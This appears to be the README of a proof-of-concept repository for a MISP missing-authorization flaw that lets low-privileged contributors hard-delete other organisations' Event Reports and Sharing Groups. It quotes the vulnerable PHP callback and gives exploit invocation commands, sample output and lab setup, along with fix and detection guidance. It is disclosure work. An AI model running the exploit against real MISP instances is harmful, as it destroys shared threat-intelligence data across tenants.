
PoC for CVE-2026-56423: MISP deleteSelection broken access control (CWE-862, contributor hard-deletes other orgs' Event Reports/Sharing Groups, CVSS 8.8)
deleteSelection Broken Access ControlProof of concept for a missing-authorization flaw in MISP's bulk deletion flows
for Event Reports and Sharing Groups. The deleteSelection handlers
authorize each selected item with a callback that ignores the item and returns
the caller's global role permission (perm_add / perm_sharing_group)
instead of a per-object ownership check. A low-privileged contributor (the
default "User" role) can therefore submit report IDs/UUIDs belonging to any
organisation and hard-delete them instance-wide, even though the correctly
guarded per-object delete action denies the very same request.
| CVE | CVE-2026-56423 |
| Product | MISP (Malware Information Sharing Platform) core |
| Affected | MISP CE/EE ≤ 2.5.41 |
| Fixed | 2.5.42 |
| Class | CWE-862 — Missing Authorization (broken object-level access control) |
| CVSS 3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Auth | Authenticated, low privilege (any role with perm_add, e.g. "User") |
| Published | 2026-06-22 |
| Status | CONFIRMED — contributor deletes another org's report on 2.5.40; denied on 2.5.42 |
app/Controller/EventReportsController.php (tag v2.5.40):
public function deleteSelection($id = null)
{
return $this->CRUD->deleteSelection($id, [
'modelName' => 'EventReport',
...
'checkModifyCallback' => function($itemId) {
return $this->userRole['perm_add']; // ignores $itemId → global role bool
},
]);
}
CRUDComponent::deleteSelection calls this checkModifyCallback for every
selected id and deletes the object whenever it returns true:
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }
Because the callback returns $this->userRole['perm_add'] — a global boolean
that is true for the default "User" role — the ownership of the target
report is never checked. Contrast with the single-object delete($id) action,
which correctly calls
EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') and denies
foreign reports.
SharingGroupsController::deleteSelection has the same defect using
perm_sharing_group.
The fix in 2.5.42 (commits ada02fa, f99b3f1) replaces the callback with a
per-item EventReport::fetchIfAuthorized($user, $itemId, 'delete').
See ANALYSIS.md for the full walkthrough.
perm_add — the built-in
User role, granted to ordinary contributors on multi-org instances.MISP.enable_themes = true. The deleteSelection action is gated in the ACL
by AND(theming_enabled, perm_add), where theming_enabled maps to the
MISP.enable_themes setting. This setting is off by default but is a
normal UI feature flag enabled on many instances (it powers the v2 index/list
UI). With it disabled the action returns HTTP 403 before the buggy callback
runs.python3 exploit.py https://127.0.0.1:443 \
--attacker-key <contributor_authkey> \
--admin-key <admin_authkey_used_only_to_confirm_the_target> \
--report-id <id_of_a_report_owned_by_another_org>
[1] contributor legit delete/2 -> HTTP 404 (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200 {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection
cd lab
./setup.sh # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
--attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"
# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh
| Request (low-priv contributor, foreign report) | v2.5.40 | v2.5.42 |
|---|---|---|
correctly-guarded delete/{id} | 404 denied | 404 denied |
deleteSelection of the same report | 200 — hard-deleted | 403 — "Could not delete"; report intact |
The same request flips from success to denial across the fix, and the correctly
guarded per-object delete is denied in both — proving the bug is the missing
per-object authorization in deleteSelection, not a misconfigured account.
Full transcript in EVIDENCE.txt.
Any low-privileged user on a shared MISP instance can irreversibly hard-delete Event Reports — analyst narrative attached to threat-intel events — and Sharing Groups belonging to other organisations, instance-wide. This is a cross-tenant integrity/availability compromise of a threat-intelligence platform that CERTs, ISACs and SOCs rely on.
EventReport::fetchIfAuthorized($user, $itemId, 'delete')
per selected item; the same pattern is applied to Sharing Groups.Audit MISP logs for EventReports/deleteSelection (and
SharingGroups/deleteSelection) requests where the acting user's organisation
differs from the owning organisation of the deleted object.
Research and PoC by Caio Fabrício (@BiiTts).
MIT — see LICENSE.